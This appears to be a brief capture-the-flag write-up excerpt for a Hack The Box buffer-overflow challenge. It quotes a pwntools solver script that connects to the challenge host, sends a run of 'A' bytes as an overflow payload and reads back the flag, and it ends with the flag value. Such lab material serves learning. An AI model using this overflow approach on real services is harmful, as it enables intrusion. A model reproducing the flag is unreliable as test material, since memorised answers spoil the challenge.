They provided a solver script directly:
#!/usr/bin/python3.8
'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''
# Library
from pwn import *
# Open connection
IP = '165.232.108.236' # Change this
PORT = 30356 # Change this
r = remote(IP, PORT)
# Craft payload
payload = b'A' * 50 # Change the number of "A"s
# Send payload
r.sendline(payload)
# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
HTB{b0f_s33m5_3z_r1ght?}